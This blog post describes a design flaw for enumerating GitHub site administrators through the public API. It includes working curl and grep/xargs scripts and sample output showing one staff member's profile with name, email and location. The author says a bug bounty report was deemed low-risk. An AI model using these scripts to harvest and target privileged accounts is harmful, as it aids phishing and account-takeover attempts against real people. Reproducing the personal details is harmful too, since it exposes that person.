
The time I enumerated every GitHub admin
Finding the design flaw
While playing with the GitHub API querying different things, I had a light bulb go off. If you can query any GitHub user via API, and see their administrator access level, why would it not be feasible to piggyback the “Myspace Tom” KevinHock account that follows every GitHub user, get the list? At the end of the day, what’s the worst that could happen.
Exploit
We query the API for KevinHock’s account. Later we do this in a loop so that we can get around the only 100 records per page maximum. We’ll also need to add a sleep because if you query the API too quickly, you’ll hit a rate limit and be locked out temporarily.
for i in {1..10000};
do
curl "https://api.github.com/users/KevinHock/following?per_page=100&page=${i}" -s | tee -a github.ids; # KevinHock follows everyone
sleep 300; # sleep 5 min between pages or rate limit kicks in soon
done;
We’ll do this about 10,000 times, with a self-limit set at 5-minute query intervals so that we don’t get locked out. We use tee to be able to see the data pulled back as we write it to a file. Following, we’ll line up the data with grep around login, then remove an extraneous character with cut before sending the data over to xargs which will run curl on that user, then send the logins through sed to fix the JSON formatting. Finally, we save it to github_admins.txt
cat github.ids | grep true -B 18 -A 1 | grep login | cut -d '"' -f 4 | xargs -I {LOGIN} curl "https://api.github.com/users/{LOGIN}" -s | sed -e 's/}/},/' > github_admins.txt
The output
cat github_admins.txt
Will show us (and a lot more):
[
{
"login": "bruce",
"id": 72,
"node_id": "MDQ6VXNlcjcy",
"avatar_url": "https://avatars.githubusercontent.com/u/72?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bruce",
"html_url": "https://github.com/bruce",
"followers_url": "https://api.github.com/users/bruce/followers",
"following_url": "https://api.github.com/users/bruce/following{/other_user},",
"gists_url": "https://api.github.com/users/bruce/gists{/gist_id},",
"starred_url": "https://api.github.com/users/bruce/starred{/owner},{/repo}",
"subscriptions_url": "https://api.github.com/users/bruce/subscriptions",
"organizations_url": "https://api.github.com/users/bruce/orgs",
"repos_url": "https://api.github.com/users/bruce/repos",
"events_url": "https://api.github.com/users/bruce/events{/privacy},",
"received_events_url": "https://api.github.com/users/bruce/received_events",
"type": "User",
"site_admin": true,
"name": "Bruce Williams",
"company": "@github",
"blog": "http://bruce.io",
"location": "Portland, OR",
"email": "bruce@github.com",
"hireable": null,
"bio": "Polyglot programmer, co-creator of Absinthe, the GraphQL toolkit for Elixir.",
"twitter_username": null,
"public_repos": 116,
"public_gists": 86,
"followers": 294,
"following": 20,
"created_at": "2008-01-28T07:16:45Z",
"updated_at": "2021-02-04T17:12:54Z"
}
]
Conclusion
In the end, you should have a .json file with all the administrators on GitHub saved to it. I submitted this for a bug bounty, but it didn’t qualify because they already knew about the design flaw and considered it low-risk. Please don’t use this maliciously, it is for informational purposes only. View the full file: here.
Don’t try to take over their accounts!!!
If you enjoy my work, sponsor or hire me! I work hard keeping oxasploits running!
Bitcoin Address:
bc1qq7vvwfe7760s3dm8uq28seck465h3tqp3fjq4l
Thank you so much and happy hacking!